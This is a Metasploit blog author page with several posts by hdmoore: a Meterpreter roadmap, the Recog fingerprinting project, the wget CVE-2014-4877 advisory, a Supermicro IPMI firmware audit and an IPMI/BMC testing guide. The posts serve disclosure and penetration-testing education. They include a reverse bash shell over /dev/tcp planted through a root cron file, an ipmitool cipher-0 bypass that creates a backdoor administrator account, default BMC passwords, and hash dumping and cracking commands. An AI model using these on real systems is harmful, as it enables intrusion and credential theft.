Skip navigation
All Places > Metasploit > Blog > Authors hdmoore
1 2 Previous Next


28 Posts authored by: hdmoore

The Survey


One month ago we asked the community for feedback about how they use Metasploit and what they want to see in the Meterpreter payload suite going forward. Over the course of a week we received over 400 responses and over 200 write-in suggestions for new features. We have spent the last month parsing through your responses, identifying dependencies, and actively delivering new features based on your requests. These requests covered 20 different categories:


General Feedback

Metasploit Framework FeaturesMetasploit RPC API FeedbackThe Antivirus Ate My Payload
Meterpreter Platform SupportMimikatz IntegrationMeterpreter PivotingPrivilege Escalation
Remote File AccessMeterpreter FeaturesMetepreter Stager SupportMeterpreter Transport Flexibility
Meterpreter HTTP Transport OptionsMeterpreter Proxy SupportCommunication ProtectionCommunications Evasion
Session HandlersSession ReliabilityAndroid Meterpreter FeaturesPayload Generation


We merged similar requests, removed duplicate items, and reworded many of the suggestions so far. For the issues specific to Meterpreter, you can now find them listed on the Meterpreter Wishlist. If you don't see your feedback listed, it was either merged into another item, or wasn't Meterpreter specific (Metasploit features, AV feedback, RPC API feedback, etc).


After parsing through these, we grouped up similar items, figured out the missing dependencies, started building out a rough plan for 2015, and got down to business. Over the last two weeks we have made some serious progress, mostly focused on the work that has to be done before we can tackle the bigger features on this list. The wishlist items marked [DONE] were the result of this first sprint while the rest of the items listed as [IN PROGRESS] are being actively worked on by either myself, OJ Reeves, or Brent Cook. While there is no realistic chance that we can get to every feature that was submitted, we are going to try to build out enough supporting functionality that the community can tackle the wider group of features with minimum pain. If something jumps out that you want to work on, please join the IRC channel and see if there are any blocking issues before diving in. Once you have a green light, send us a pull request once you are ready for feedback. If you can't contribute, no worries, keep reading for what is done so far, and where we are headed.



Attacks Have Changed


The Metasploit Project started in 2003 with a broad goal of sharing information about exploit techniques and making the development of new security tools much easier. This was a time when shellcode golf was the name of the game, SEH overwrites had hackers yelling "POP, POP, RET!", and databases of opcodes at static addresses made exploit development possible for systems you didn't even have. Fast-forward a decade and exploit mitigations at the OS level have made traditional exploit methods obsolete and complicated reliable remote exploitation; at least for memory corruption vulnerabilities. At the same time, anti-virus tools, anti-malware network gateways, and SSL-inspecting web proxies have become a thorn in the side of many professional penetration testers.


This shift away from memory corruption vulnerabilities hasn't decreased the number of compromises, nor has the availability of new security technologies, but the way networks get compromised has changed. As operating system and compiler vendors made memory corruption vulnerabilities more complicated on end-user and server platforms, attackers have shifted to the weakest links, which are typically the actual employees, their devices, and their passwords. Metasploit has continued to evolve to support these use cases, with a focus on client-side applications, web applications, embedded devices, and attacking the credentials themselves. The one area where Metasploit hasn't changed however, has been payloads.


For the better part of 12 years, Metasploit payloads and encoders have had one primarily goal: fit inside of the exploits. This works great when Metasploit users are getting shells through memory corruption flaws, but doesn't make a lot of sense when attacks can deliver a multi-megabyte executable or JAR file onto the target. As a result, Metasploit payloads have been artificially constrained in terms of functionality and error handling. That has now changed. Payloads and encoders can now opt-in to new features, better error handling, and network-level evasion when they have the room for it. This is now enabled by default when using msfvenom (specificy -s to tell the payload how much space it can use).


Separate, but related, was the slow startup time of the Metasploit Console (msfconsole). A few months ago, many users had to wait up to 30 seconds to use msfconsole on a modern system. After the switch to Ruby 2.1.5, this dropped to under 10 seconds for most users. Most recently, payloads now cache their static size, allowing us to use Metasm to generate and compile assembly on the fly, and knocking quite a bit of processing out of the startup time. Running the latest version of msfconsole on a SSD-enabled system with Ruby 2.1.5 can result in startup times between 1 and 5 seconds.


These two changes pave the way to solving the number one piece of feedback: Payload size doesn't matter that much anymore. Many people use Metaslpoit payloads without exploits, either by delivering the payloads manually, or combining them with third-party tools like SET, and these payloads should support advanced options and handle network errors gracefully. Metasploit payloads now selectively enable functionality based on your use case and the available space.



Sprint 1 Features


The features below were some of the first dependencies needed to really tackle the features requested in the survey. These are available in the Metasploit Framework master branch today and will be going out to Metasploit Pro, Metasploit Express, Metasploit Community, and Kali Linux users this week.


HTTP Stagers


The reverse_http and reverse_https in stagers have been around for a few years and they solve a number of problems related to session egress within corporate networks, but they were starting to get dusty. First of all, we continued to add new versions of these payloads to handle specific use cases, like proxies, proxy authentication, and hopping through intermediate web services. We are now actively working on a complete refactor that merges all of this functionality into a smaller set of smarter payloads. In addition to bug fixes, better error handling, and size-aware feature selection, these payloads have been expanded with some new functionality:


Long URIs: The reverse_http and reverse_https stagers now use much longer URIs by default. The old default was to use a 5-byte URI, but these were starting to get blocked by a number of web proxies. The new default is use a random URI between 30 and 255 bytes.


WinHTTP: Borja Merino submitted a really nice set of reverse_winhttp and reverse_winhttps stagers. These stagers switch to the WinHTTP API (from WinInet), which helps bypass certain anti-malware implementations, and builds the base for a number of new features. The development started off as Borja's PR and eventually got rolled into the new Metasm base payload.


SSL Validation: SSL certificate verification is now available in the reverse_winhttps stager. You can enable this by generating a payload with the HandlerSSLCert option set to the file name of a SSL certificate (PEM format) and setting the StagerVerifySSLCert option to true. The Metasploit exploit or exploit/multi/handler listener should set these options to the same value. Once these are set, the stager will verify that the SSL certificate presented by the Metasploit listener matches the SHA-1 hash of the HandlerSSLCert certificate and will exit if they don't match. This is a great way to make sure that a SSL-inspecting proxy isn't monkeying with your session and provides stager-level authentication that is resistant to man-in-the-middle attacks, even if the target system has a malicious CA root certificate installed. If you want to make this apply to all future uses of reverse_winhttp, use the setg command in msfconsole to configure HandlerSSLCert and StagerVerifySSLCert, then save to make these the default.


We still have a lot more work to do on HTTP stagers, so keep an eye on ticket #4895 if you want to keep up on the latest changes.


Meterpreter SSL Verification


Updating the WinHTTP stagers to support SSL Verification is only part of the puzzle. OJ Reeves also delivered SSL certification validation in the Windows Meterpreter payloads. These can be enabled using the same HandlerSSLCert and StagerVerifySSLCert options as the stagers. If you set these within an exploit, the entire process is automatic, but if you are using exploit/multi/handler, be sure to set them both in the msfvenom generation (stageless or otherwise) as well as the listener. Note that verification occurs after the HTTP request has been sent. As a result you will get a "dead" session when the Meterpreter is enforcing this setting and doesn't see the right SSL certificate. We are looking into better solutions for this going forward.

Meterpreter "Stageless" Payloads


One often-requested feature was the ability to run Meterpreter without the shellcode stager. A project called Inmet (ultmet.exe) is best known for providing a stageless metsrv in the past, but this implementation wasn't as smooth as it should have been due to incompatibilities in the framework. Over the last two weeks, OJ Reeves has delivered an impressive approach to stageless Meterpreters and I strongly recommend that you check out his post on the topic. This is the first step to implement many of the advanced features requested in the survey.


Meterpreter Unicode (최고)


Nearly all Meterpreter payloads will support Unicode file and directory names, converting between UTF-8 and native string implementations as needed. If you used Metasploit outside of the US in the past, you may be familiar with the EnableUnicodeEncoding option in Meterpreter. Previously, this was set to true by default, and would translate garbled Unicode names into identifiers that looked like $U$-0xsomething. This made it possible to work with non-native encodings, but it wasn't much fun. Fortunately, so long as your Linux terminal supports UTF-8, this is no longer necessary. Windows users still need the EnableUnicodeEncoding crutch since Console2 doesn't implicitly support Unicode, but everyone else should be good to go for full Unicode support going forward.


Unicode is still  a work in process, but it is nearly complete across all Meterpreter payloads:


  • The Python and Windows Meterpreters have full Unicode support for file system operations.
  • The PHP Meterpreter has support only on non-Windows platforms due to API limitations.
  • The Java & Android Meterpreter have a pending pull request adding support for Windows and non-Windows.

Note that Unicode is not automatically translated for shell sessions (or shell channels in Meterpreter). This is a bit more complicated, but is on our radar for long-term support.


Meterpreter MS-DOS "short" Names


Meterpreter now displays MS-DOS 8.3 "short" names when you use the ls command with the -x parameter on Windows. This makes it easy to copy, rename, and generally manipulate a file or directory with an unwieldy name. A quick and easy win and really useful in a pinch.



Next Steps: April 2015


Our plans for the next month are centered around improving the Meterpreter code organization and build process, supporting unique embedded payload IDs (a precursor for universal listeners), improving the reliability and resilience of all Meterpreter transports, adding support for live transport switching to Meterpreter, and improving the usability of all of these features as we go. There is a ton of work to do, but these efforts will lay the groundwork for approaching the rest of the wishlist going forward. One of our goals is to maintain complete backwards compatibility with both old Metasploit installations and their associated payloads. More often than not this means taking two steps forward and one back as we make small incremental changes in quick succession. In addition to the fun part (the code), we will be updating the test suites and documentation as we go as well.



May 2015 and Beyond


We are looking at May as the time when we can start seriously considering BIG features. These may include remote scripting engines, enhanced pivoting, pluggable transports, and a deep dive into mobile device support. Figuring out what is going to fit and how to prioritize it is going to be driven by engineering challenges as much as community feedback and contributions. As attacks change, so will Metasploit, and the time has come for payloads to take the next big step.


Onward, through the pull requests!



This post is the tenth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.

The Metasploit Framework uses operating system and service fingerprints for automatic target selection and asset identification. This blog post describes a major overhaul of the fingerprinting backend within Metasploit and how you can extend it by submitting new fingerprints.


Historically, Metasploit wasn't great at fingerprinting. Shortly after the Rapid7 acquisition, we added an internal fingerprinting system to the framework, but we still depended on imports from Nexpose, Nmap, and other external tools to obtain comprehensive results. The only areas where fingerprint coverage was passable were the SMB, HTTP, and web browser rules, since many modules depended on these for automatic configuration. Metasploit has the ability to import data from dozens of external sources, including web application scanners, vulnerability scanners, and even raw PCAP files. Normalizing all of this data was a challenge and the fingerprinting backend had the job of squashing conflicting OS and service names into something that modules could easily understand.


By mid-2013, Metasploit's fingerprints were getting stale and the ruleset was becoming more tangled than ever. Changing one fingerprint required carefully reviewing all of the code paths where a conflicting rule might override the resulting value. New operating systems and services were released and the backend simply wasn't keeping up. For our Metasploit Pro customers, this was less of an issue due to the direct integration with Nexpose and Nmap, but we needed a fresh approach all the same.


Earlier in 2013, my team was looking at whether we could improve our products using existing internet-wide scan data. Our first project involved an overhaul of the Nexpose SNMP fingerprints by leveraging the Critical.IO dataset. Nexpose fingerprints are stored as a series of regular expressions within XML files. These fingerprints were easy to read, write, and test. Over the course of a week we were able to expand Nexpose's SNMP system description fingerprints to cover approximately 85% of the devices found on the internet by the Critical.IO SNMP scan. This was a quick win and made it clear that we should be looking at internet scan data as a primary source of new fingerprints.


In 2014, we took the same approach using the Project Sonar data to add fingerprints for popular HTTP services. Our approach was to sort the raw scan data by frequency, determine which fingerprints would cover the largest number of systems, and then sit down and write those fingerprints. This work improved fingerprint accuracy for our Nexpose customers and provided an opportunity to do targeted vulnerability research on the most widely exposed devices and services. The issues with the Metasploit fingerprints remained, but a plan was starting to come together.


First, we had to get sign-off to open source the Nexpose fingerprint database. Next, we had write some wrapper code that made interfacing with and testing these fingerprints quick and painless. Finally, we had to rip out the existing Metasploit fingerprinting engine, normalize the entire framework to use the new fingerprints, and add some glue code to map Nexpose conventions to what Metasploit expected. This required a major effort across the Nexpose, Metasploit, and Labs teams and took the better part of five months to finally deliver.


The result was Recog, an open source recognition framework. Recog is now the upstream for both Nexpose and Metasploit fingerprints. We will continue to leverage Project Sonar to add and improve fingerprints, but even better, our customers and open source users can now submit new fingerprints of their own. Recog is available under a BSD 2-Clause license and can be used within your own projects, open source or otherwise, and although the test framework is written in Ruby, the XML fingerprints are easy to process in just about every language.


Metasploit users benefit through consistent formatting of third-party data imports, better fingerprinting when using scanner modules, and support for targeting newer operating systems and web browsers. Nexpose users will continue to see improvements to fingerprinting, with several major leaps in coverage as Project Sonar progresses. Metasploit contributors can take advantage of the new fingerprint.match note type to provide fingerprint suggestions to the new matching engine. If you are interested in the mechanics of how Metasploit interfaces with Recog, take a look at the OS normalization code in MDM.


Recog is a great example of Rapid7's commitment to open source and our desire to collaborate with the greater information security community. Although writing fingerprints isn't the most exciting task, accurate fingerprints are a requirement for reliable vulnerability assessments and successful penetration tests. If you are looking for a chance to contribute to Metasploit, or simply want better fingerprinting for systems within your own network, please considering submitting updates to Recog. Feel free to drop by the #metasploit channel on the Freenode IRC network if you would like to chat with the development team. If you have a new fingerprint but don't feel comfortable sending a pull request, feel free to file an Issue within Recog repository on Github instead.





GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP.  Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user's filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.



The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.


lrwxrwxrwx  1 root    root          33 Oct 28  2014 TARGET -> /

drwxrwxr-x  15 root    root        4096 Oct 28  2014 TARGET


Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user's filesystem.




Upgrade to wget version 1.16 or a package that has backported the CVE-2014-4877 patch. If you use a distribution that does not ship a patched version of wget, you can mitigate the issue by adding the line "retr-symlinks=on" to either /etc/wgetrc or ~/.wgetrc. This issue is only exploitable when running wget with recursive mode against a FTP server URL. Although a HTTP service can redirect wget to a FTP URL, it implicitly disables the recursive option after following this redirect, and is not exploitable in this scenario.





We have released a Metasploit module to demonstrate this issue. In the example below, we demonstrate obtaining a reverse command shell against a user running wget as root against a malicious FTP service. This example makes use of the cron daemon and a reverse-connect bash shell. First we will create a reverse connect command string using msfpayload.


# msfpayload cmd/unix/reverse_bash LHOST= LPORT=4444 R

0<&112-;exec 112<>/dev/tcp/;sh <&112 >&112 2>&112


Next we create a crontab file that runs once a minute, launches this command, and deletes itself:


# cat>cronshell <<EOD


* * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell



Now we start up msfconsole and configure a shell listener:


# msfconsole

msf> use exploit/multi/handler

msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash

msf exploit(handler) > set LHOST

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > run -j

[*] Exploit running as background job.

[*] Started reverse handler on


Finally we switch to the wget module itself:


msf exploit(handler) > use auxiliary/server/wget_symlink_file_write

msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell

msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell

msf auxiliary(wget_symlink_file_write) > set SRVPORT 21

msf auxiliary(wget_symlink_file_write) > run

[+] Targets should run: $ wget -m

[*] Server started.


At this point, we just wait for the target user to run wget -m


[*] Logged in with user 'anonymous' and password 'anonymous'...

[*] -> LIST -a

[*] -> CWD /1X9ftwhI7G1ENa

[*] -> LIST -a

[*] -> RETR cronshell

[+] Hopefully wrote 186 bytes to /etc/cron.d/cronshell

[*] Command shell session 1 opened ( -> at 2014-10-27 23:19:02 -0500



msf auxiliary(wget_symlink_file_write) > sessions -i 1

[*] Starting interaction with 1...



uid=0(root) gid=0(root) groups=0(root),1001(rvm)

Disclosure Timeline

The issue was discovered by HD Moore of Rapid7, and was disclosed to both the upstream provider of Wget and CERT/CC as detailed below:


Thu, Aug 28, 2014Issue discovered by HD Moore and advisory written
Thu, Aug 28, 2014Advisory provided to Giuseppe Scrivano, the maintainer of Wget
Sat, Sep 01, 2014Vendor responded, confirmed issue and patch
Tue, Sep 30, 2014Advisory provided to CERT/CC
Tue, Oct 07, 2014CVE-2014-4877 assigned via CERT/CC
Mon, Oct 27, 2014Redhat bug 1139181 published
Tue, Oct 28, 2014Rapid7 advisory and Metasploit module published as PR 4088



This post summarizes the results of a limited security analysis of the Supermicro IPMI firmware. This firmware is used in the baseboard management controller (BMC) of many Supermicro motherboards.

The majority of our findings relate to firmware version SMT_X9_226. The information in this post was provided to Supermicro on August 22nd, 2013 in accordance with the Rapid7 vulnerability disclosure policy. More information on this policy can be found online at Note that this assessment did not include the actual IPMI network services and was primarily focused on default keys, credentials, and the web management interface.

Although we have a number of Metasploit modules in development to test these issues, they are not quite ready for production use yet, so stay tuned for next week's Metasploit update. At our last count, over 35,000 Supermicro IPMI interfaces were exposed to the public internet.

Supermicro has published a new firmware version (SMT_X9_315) that appears to address many of the issues listed identified below, as well those reported by other researchers. We have updated each entry to indicate how the new firmware version impacts these issues.

A cursory review of the new firmware shows significant improvements, but we still recommend disconnecting the IPMI interface from untrusted networks and limiting access through another form of authentication (VPN, etc).


Static Encryption Keys (CVE-2013-3619)


The firmware ships with harcoded private encryption keys for both the Lighttpd web server SSL interface and the Dropbear SSH daemon. An attacker with access to the publicly available Supermicro firmware can perform man-in-the-middle and offline decryption of communication to the firmware. The SSL keys can be updated by the user, but there is no option available to replace or regenerate SSH keys.


We have not been able to determine if firmware version SMT_X9_315 resolves this issue.




Hardcoded WSMan Credentials (CVE-2013-3620)


The firmware contains two sets of credentials for the OpenWSMan interface. The first is the digest authentication file, which contains a single account with a static password. This password cannot be changed by the user and is effectively a backdoor. The second involves the basic authentication password file stored in the nv partition – it appears that due to a bug in the firmware, changing the password of the ADMIN account leaves the OpenWSMan password unchanged (still set to admin).


We have not been able to determine if firmware version SMT_X9_315 resolves this issue.



CGI: login.cgi (CVE-2013-3621)



The login.cgi CGI application is vulnerable to two buffer overflows. The first occurs when processing the name parameter, the value is copied with strcpy() into a 128 byte buffer without any length checks. The second issue relates to the pwd parameter, the value is copied with strcpy() into a 24 byte buffer without any length checks. Exploitation of these vulnerabilities would result in remote code execution as the root user account. The vulnerable code is shown below (auto-generated from IDA Pro + HexRays).


if ( cgiGetVariable("name") )


  v2 = (const char *)cgiGetVariable("name");

  strcpy(&dest, v2);


if ( cgiGetVariable("pwd") )


  v3 = (const char *)cgiGetVariable("pwd");

  strcpy(&v13, v3);



Firmware version SMT_X9_315 removes the use of strcpy() and limits the length of the name and pwd values to 64 and 20 respectively.



CGI: close_window.cgi (CVE-2013-3623)


The close_window.cgi CGI application is vulnerable to two buffer overflows. The first issue occurs when processing the sess_sid parameter, this value is copied with strcpy() to a 20-byte stack buffer without any length checks. The second issue occurs when processing the ACT parameter, this value is copied with strcpy() to a 20-byte stack buffer without any length checks. Exploitation of these vulnerabilities would result in remote code execution as the root user account. The vulnerable code is shown below (auto-generated from IDA Pro + HexRays).

if ( cgiGetVariable("sess_sid") )


  v1 = (const char *)cgiGetVariable("sess_sid");

  strcpy(&v19, v1);




if ( cgiGetVariable("ACT") )


  v3 = (const char *)cgiGetVariable("ACT");

  strcat(&nptr, v3);



Firmware version SMT_X9_315 completely removes this CGI from the web interface.




CGI: logout.cgi (CVE-2013-3622) [ authenticated ]



The logout.cgi CGI application is vulnerable to two buffer overflows. The first occurs when processing the SID parameter, the value is copied with strcpy() into a 20 byte buffer without any length checks. The second issue relates to further use of the SID parameter, the value is appended with strcat() into a 32 byte buffer without any length checks. Exploitation of these vulnerabilities would result in remote code execution as the root user account.The vulnerable code is shown below (auto-generated from IDA Pro + HexRays).

if ( cgiGetVariable("SID") )


  v4 = (const char *)cgiGetVariable("SID");

  strcpy(&s, v4);



Firmware version SMT_X9_315 switches to a GetSessionCookie() function that limits the length of the SID variable returned to this code and no longer calls strcpy().


CGI: url_redirect.cgi (NO CVE) [ authenticated ]



The url_redirect.cgi CGI application appears to be vulnerable to a directory traversal attack due to lack of sanitization of the url_name parameter. This may allow an attacker with a valid non-privileged account to access the contents of any file on the system. This includes the /nv/PSBlock file, which contains the clear-text credentials for all configured accounts, including the administrative user. The vulnerable code is shown below (auto-generated from IDA Pro + HexRays).

sprintf(&v23, "%s/%s", *(_DWORD *)&ext_name_table[12 * i + 8], s);

v18 = fopen(&v23, "r");

Firmware version SMT_X9_315 appears to fix this issue.



CGI: miscellaneous (NO CVE) [ authenticated ]



Numerous unbounded strcpy(), memcpy(), and sprint() calls are performed by the other 65+ CGI applications available through the web interface. Most of these applications verify that the user has a valid session first, limiting exposure to authenticated users, but the review was not comprehensive. All instances of unsafe string and system command handling should be reviewed and corrected as necessary. Exploitation of these issues allows a low-privileged user to gain root access to the device.

Firmware version SMT_X9_315 has reorganized the web root, adding quite a few new CGI applications, removing many more, and generally purging the use of insecure functions like strcpy(). In addition, the config_tftpd.cgi and snmp_config.cgi CGI applications now validate that the user has a valid session first. They did not before, but it wasn't clear what risk this posed. In fact, the only two CGI applications that are now exposed to unauthenticated users are vmstatus.cgi and login.cgi.


Disclosure Timeline


2013-08-22 (Thu) : Initial discovery and disclosure to vendor

2013-09-07 (Fri) : Vendor response

2013-09-09 (Mon) : Disclosure to CERT/CC

2013-10-23 (Wed) : Planned public disclosure (delayed)

2013-11-06 (Wed) : Public disclosure

2013-11-06 (Wed) : Scanner modules written

2013-11-06 (Thu) : Vendor indicates a fix is available



Dan Farmer is known for his groundbreaking work on security tools and processes. Over the last year, Dan has identified some serious security issues with the Intelligent Platform Management Interface (IPMI) protocol and the Baseboard Management Controllers (BMCs) that speak it. This post goes into detail on how to identify and test for each of the issues that Dan identified, using a handful of free security tools.  If you are looking for a quick overview of the issues discussed in this post, please review the FAQ. Dan has also put together an excellent best practices document that is a must-read for anyone working on the remediation side.




BMCs and the IPMI Protocol


Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards. Nearly all servers and workstations ship with or support some form of BMC. The Intelligent Platform Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. The primary goal of Dan Farmer's research was on the security of the IPMI network protocol that uses UDP port 623. A diagram of the how the BMC interfaces with the system is shown below (CC-SA-3.0 (C) U. Vezzani).







High Value Targets


BMCs are often under appreciated and overlooked during security audits. Like many embedded devices, they tend to respond slowly to tests and have a few non-standard network services in addition to web-based management. The difference between a BMC and say, a printer, is what you get access to once it has been successfully compromised. The BMC has direct access to the motherboard of its host system. This provides the ability to monitor, reboot, and reinstall the host server, with many systems providing interactive KVM access and support for virtual media. In essence, access to the BMC is effectively physical access to the host system. If an attacker can not only login to the BMC, but gain root access to it as well, they may be able to directly access the i2c bus and Super I/O chip of the host system. Bad news indeed.




Network Services


The network services offered by major brands of BMCs different widely by vendor, but here are some commonalities. Most BMCs expose some form of web-based management, a command-line interface such as Telnet or Secure Shell, and the IPMI network protocol on port 623 (UDP and sometimes TCP). The example below shows the output of Nmap -sSV -p1-65535 scan against a Supermicro BMC in its default configuration.


Supermicro IPMI (firmware SMT_X9_218)



22/tcp    open    ssh      Dropbear sshd 2012.55 (protocol 2.0)

80/tcp    open    http      lighttpd

443/tcp  open    ssl/http  lighttpd

623/tcp  open    ipmi-rmcp SuperMicro IPMI RMCP

5900/tcp  open    vnc      VNC (protocol 3.8)

5985/tcp  open    wsman?

49152/tcp open    upnp      Intel UPnP reference SDK 1.3.1 (Linux 2.6.17.WB_WPCM450.1.3; UPnP 1.0)


In addition to the TCP ports listed, this device also responds on UDP ports 623 (IPMI) and 1900 (UPnP SSDP).




Network Discovery


A single-packet probe to the UDP IPMI service on port 623 is is an especially fast way of discovering BMCs on the network. The following examples demonstrates the use of the Metasploit Framework's ipmi_version module to identify local BMCs. The reply indicates whether the device supports version 1.5 or 2.0 and what forms of authentication are supported.


$ msfconsole


      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops


msf> use  auxiliary/scanner/ipmi/ipmi_version
msf auxiliary(ipmi_version) > set RHOSTS

msf auxiliary(ipmi_version) > run

[*] Sending IPMI requests to> (256 hosts)

[*] IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user, non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)

[*] IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user, non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)

[*] IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

[*] IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

[*] IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)





Usernames & Passwords


As most penetration testers know, the easiest way into most network devices is through default passwords. BMCs are no different, and the table below shows the default username and password combinations for the most popular BMC brands sold today. Note that only HP randomizes the password during the manufacturing process.


Product NameDefault UsernameDefault Password
HP Integrated Lights Out (iLO)Administrator<factory randomized 8-character string>
Dell Remote Access Card (iDRAC, DRAC)rootcalvin
IBM Integrated Management Module (IMM)USERIDPASSW0RD (with a zero)
Fujitsu Integrated Remote Management Controlleradminadmin
Supermicro IPMI (2.0)ADMINADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM)rootchangeme
ASUS iKVM BMCadminadmin





Vulnerability Exposure


This section documents the various vulnerabilities identified by Dan Farmer's research into IPMI and some additional findings that came to light during further investigation.



IPMI Authentication Bypass via Cipher 0


Dan Farmer identified a serious failing of the IPMI 2.0 specification, namely that cipher type 0, an indicator that the client wants to use clear-text authentication, actually allows access with any password. Cipher 0 issues were identified in HP, Dell, and Supermicro BMCs, with the issue likely encompassing all IPMI 2.0 implementations. It is easy to identify systems that have cipher 0 enabled using the ipmi_cipher_zero module in the Metasploit Framework.


$ msfconsole


      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops


msf> use auxiliary/scanner/ipmi/ipmi_cipher_zero

msf auxiliary(ipmi_cipher_zero) > set RHOSTS

msf auxiliary(ipmi_cipher_zero) > run

[*] Sending IPMI requests to> (256 hosts)

[+] VULNERABLE: Accepted a session open request for cipher zero

[+] VULNERABLE: Accepted a session open request for cipher zero

[+] VULNERABLE: Accepted a session open request for cipher zero

[+] VULNERABLE: Accepted a session open request for cipher zero



The following example demonstrates how to exploit the cipher 0 issue using the standard "ipmitool" command-line interface. This utility is available on most platforms and be installed on Debian-based Linux distributions by running "sudo apt-get install ipmitool". Notice how the flag for specifying cipher 0 (-C 0) allows a previously disallowed action to execute. For this attack to work a valid username must be identified, which is almost never an issue. Once a backdoor account has been created, any number of attacks on the BMC and its host become possible.


$ ipmitool -I lanplus -H -U Administrator -P FluffyWabbit user list

Error: Unable to establish IPMI v2 / RMCP+ session

Get User Access command failed (channel 14, user 1)


$ ipmitool -I lanplus -C 0 -H -U Administrator -P FluffyWabbit user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

1  Administrator    true    false      true      ADMINISTRATOR

2  (Empty User)    true    false      false      NO ACCESS


$ ipmitool -I lanplus -C 0 -H -U Administrator -P FluffyWabbit user set name 2 backdoor

$ ipmitool -I lanplus -C 0 -H -U Administrator -P FluffyWabbit user set password 2 password

$ ipmitool -I lanplus -C 0 -H -U Administrator -P FluffyWabbit user priv 2 4

$ ipmitool -I lanplus -C 0 -H -U Administrator -P FluffyWabbit user enable 2


$ ipmitool -I lanplus -C 0 -H -U Administrator -P FluffyWabbit user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

1  Administrator    true    false      true      ADMINISTRATOR

2  backdoor              true    false      true      ADMINISTRATOR


$ ssh backdoor@

backdoor@'s password: password


User:backdoor logged-in to ILOMXQ3469216(

iLO 4 Advanced Evaluation 1.13 at  Nov 08 2012

Server Name: host is unnamed

Server Power: On






IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval


More recently, Dan Farmer identified an even bigger issue with the IPMI 2.0 specification.  In short, the authentication process for IPMI 2.0 mandates that the server send a salted SHA1 or MD5 hash of the requested user's password to the client, prior to the client authenticating. You heard that right - the BMC will tell you the password hash for any valid user account you request. This password hash can broken using an offline bruteforce or dictionary attack. Since this issue is a key part of the IPMI specification, there is no easy path to fix the problem, short of isolating all BMCs into a separate network. The ipmi_dumphashes module in the Metasploit Framework can make short work of most BMCs.


$ msfconsole


      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops


msf> use auxiliary/scanner/ipmi/ipmi_dumphashes

msf auxiliary(ipmi_dumphashes) > set RHOSTS
msf auxiliary(ipmi_dumphashes) > set THREADS 256

msf auxiliary(ipmi_dumphashes) > run


[+] root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b

[+] Hash for user 'root' matches password 'calvin'

[+] :408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee 34904f54f26e64d580c050e

[+] Hash for user '' matches password 'admin'


In the example above, the module was able to identify two valid user accounts (root and blank), retrieve the hmac-sha1 password hashes for these accounts, and automatically crack them using an internal wordlist. If a database is connected, Metasploit will automatically store the hashed and clear-text version of these credentials for future use. If a user's password is not found in the local dictionary of common passwords, an external password cracking program can be employed to quickly brute force possible options. The example below demonstrates how to write out John the Ripper and Hashcat compatible files.


msf auxiliary(ipmi_dumphashes) > set RHOSTS
msf auxiliary(ipmi_dumphashes) > set THREADS 256

msf auxiliary(ipmi_dumphashes) > set OUTPUT_JOHN_FILE out.john

msf auxiliary(ipmi_dumphashes) > set OUTPUT_HASHCAT_FILE out.hashcat

msf auxiliary(ipmi_dumphashes) > run


[+] root:ee33c2e02700000....000000000000000000000000000000001404726f6f74:8c576f6532 356cc342591204f41cc4eab7da6e8a

Thanks to atom, the main developer of Hashcat, version 0.46 or above now supports cracking RAKP hashes. It is worth noting that atom added support for RAKP within 2 hours of receiving the feature request! In the example below, we use hashcat with RAKP mode (7300) to brute force all four-character passwords within a few seconds.


./hashcat-cli64.bin --username -m 7300 out.hashcat -a 3 ?a?a?a?a

Initializing hashcat v0.46 by atom with 8 threads and 32mb segment-size...


Added hashes from file out.hashcat: 1 (1 salts)

[ ... ]

